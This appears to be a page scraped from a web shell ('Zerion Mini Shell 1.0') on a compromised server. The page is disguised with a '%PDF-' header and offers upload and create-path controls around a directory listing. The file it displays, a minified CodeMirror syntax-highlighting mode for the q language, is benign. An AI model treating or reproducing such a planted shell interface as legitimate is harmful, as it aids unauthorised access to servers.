%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/bower/CodeMirror/mode/q/
Upload File :
Create Path :
Current File : //data/old/home/stash/atlassian/stash/3.7.1/atlassian-stash/static/bower/CodeMirror/mode/q/q-min.js

(function(A){if(typeof exports=="object"&&typeof module=="object"){A(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],A)}else{A(CodeMirror)}}})(function(A){A.defineMode("q",function(C){var G=C.indentUnit,J,F=B(["abs","acos","aj","aj0","all","and","any","asc","asin","asof","atan","attr","avg","avgs","bin","by","ceiling","cols","cor","cos","count","cov","cross","csv","cut","delete","deltas","desc","dev","differ","distinct","div","do","each","ej","enlist","eval","except","exec","exit","exp","fby","fills","first","fkeys","flip","floor","from","get","getenv","group","gtime","hclose","hcount","hdel","hopen","hsym","iasc","idesc","if","ij","in","insert","inter","inv","key","keys","last","like","list","lj","load","log","lower","lsq","ltime","ltrim","mavg","max","maxs","mcount","md5","mdev","med","meta","min","mins","mmax","mmin","mmu","mod","msum","neg","next","not","null","or","over","parse","peach","pj","plist","prd","prds","prev","prior","rand","rank","ratios","raze","read0","read1","reciprocal","reverse","rload","rotate","rsave","rtrim","save","scan","select","set","setenv","show","signum","sin","sqrt","ss","ssr","string","sublist","sum","sums","sv","system","tables","tan","til","trim","txf","type","uj","ungroup","union","update","upper","upsert","value","var","view","views","vs","wavg","where","where","while","within","wj","wj1","wsum","xasc","xbar","xcol","xcols","xdesc","xexp","xgroup","xkey","xlog","xprev","xrank"]),O=/[|/&^!+:\\\-*%$=~#;@><,?_\'\"\[\(\]\)\s{}]/;function B(E){return new RegExp("^("+E.join("|")+")$")}function D(R,Q){var P=R.sol(),S=R.next();J=null;if(P){if(S=="/"){return(Q.tokenize=K)(R,Q)}else{if(S=="\\"){if(R.eol()||/\s/.test(R.peek())){return R.skipToEnd(),/^\\\s*$/.test(R.current())?(Q.tokenize=M)(R,Q):Q.tokenize=D,"comment"}else{return Q.tokenize=D,"builtin"}}}}if(/\s/.test(S)){return R.peek()=="/"?(R.skipToEnd(),"comment"):"whitespace"}if(S=='"'){return(Q.tokenize=L)(R,Q)}if(S=="`"){return R.eatWhile(/[A-Z|a-z|\d|_|:|\/|\.]/),"symbol"}if(("."==S&&/\d/.test(R.peek()))||/\d/.test(S)){var E=null;R.backUp(1);if(R.match(/^\d{4}\.\d{2}(m|\.\d{2}([D|T](\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)?)?)/)||R.match(/^\d+D(\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)/)||R.match(/^\d{2}:\d{2}(:\d{2}(\.\d{1,9})?)?/)||R.match(/^\d+[ptuv]{1}/)){E="temporal"}else{if(R.match(/^0[NwW]{1}/)||R.match(/^0x[\d|a-f|A-F]*/)||R.match(/^[0|1]+[b]{1}/)||R.match(/^\d+[chijn]{1}/)||R.match(/-?\d*(\.\d*)?(e[+\-]?\d+)?(e|f)?/)){E="number"}}return(E&&(!(S=R.peek())||O.test(S)))?E:(R.next(),"error")}if(/[A-Z|a-z]|\./.test(S)){return R.eatWhile(/[A-Z|a-z|\.|_|\d]/),F.test(R.current())?"keyword":"variable"}if(/[|/&^!+:\\\-*%$=~#;@><\.,?_\']/.test(S)){return null}if(/[{}\(\[\]\)]/.test(S)){return null}return"error"}function K(P,E){return P.skipToEnd(),/\/\s*$/.test(P.current())?(E.tokenize=N)(P,E):(E.tokenize=D),"comment"}function N(Q,P){var E=Q.sol()&&Q.peek()=="\\";Q.skipToEnd();if(E&&/^\\\s*$/.test(Q.current())){P.tokenize=D}return"comment"}function M(E){return E.skipToEnd(),"comment"}function L(S,Q){var R=false,P,E=false;while((P=S.next())){if(P=='"'&&!R){E=true;break}R=!R&&P=="\\"}if(E){Q.tokenize=D}return"string"}function H(Q,P,E){Q.context={prev:Q.context,indent:Q.indent,col:E,type:P}}function I(E){E.indent=E.context.indent;E.context=E.context.prev}return{startState:function(){return{tokenize:D,context:null,indent:0,col:0}},token:function(Q,P){if(Q.sol()){if(P.context&&P.context.align==null){P.context.align=false}P.indent=Q.indentation()}var E=P.tokenize(Q,P);if(E!="comment"&&P.context&&P.context.align==null&&P.context.type!="pattern"){P.context.align=true}if(J=="("){H(P,")",Q.column())}else{if(J=="["){H(P,"]",Q.column())}else{if(J=="{"){H(P,"}",Q.column())}else{if(/[\]\}\)]/.test(J)){while(P.context&&P.context.type=="pattern"){I(P)}if(P.context&&J==P.context.type){I(P)}}else{if(J=="."&&P.context&&P.context.type=="pattern"){I(P)}else{if(/atom|string|variable/.test(E)&&P.context){if(/[\}\]]/.test(P.context.type)){H(P,"pattern",Q.column())}else{if(P.context.type=="pattern"&&!P.context.align){P.context.align=true;P.context.col=Q.column()}}}}}}}}return E},indent:function(S,E){var R=E&&E.charAt(0);var Q=S.context;if(/[\]\}]/.test(R)){while(Q&&Q.type=="pattern"){Q=Q.prev}}var P=Q&&R==Q.type;if(!Q){return 0}else{if(Q.type=="pattern"){return Q.col}else{if(Q.align){return Q.col+(P?0:1)}else{return Q.indent+(P?0:G)}}}}}});A.defineMIME("text/x-q","q")});

Zerion Mini Shell 1.0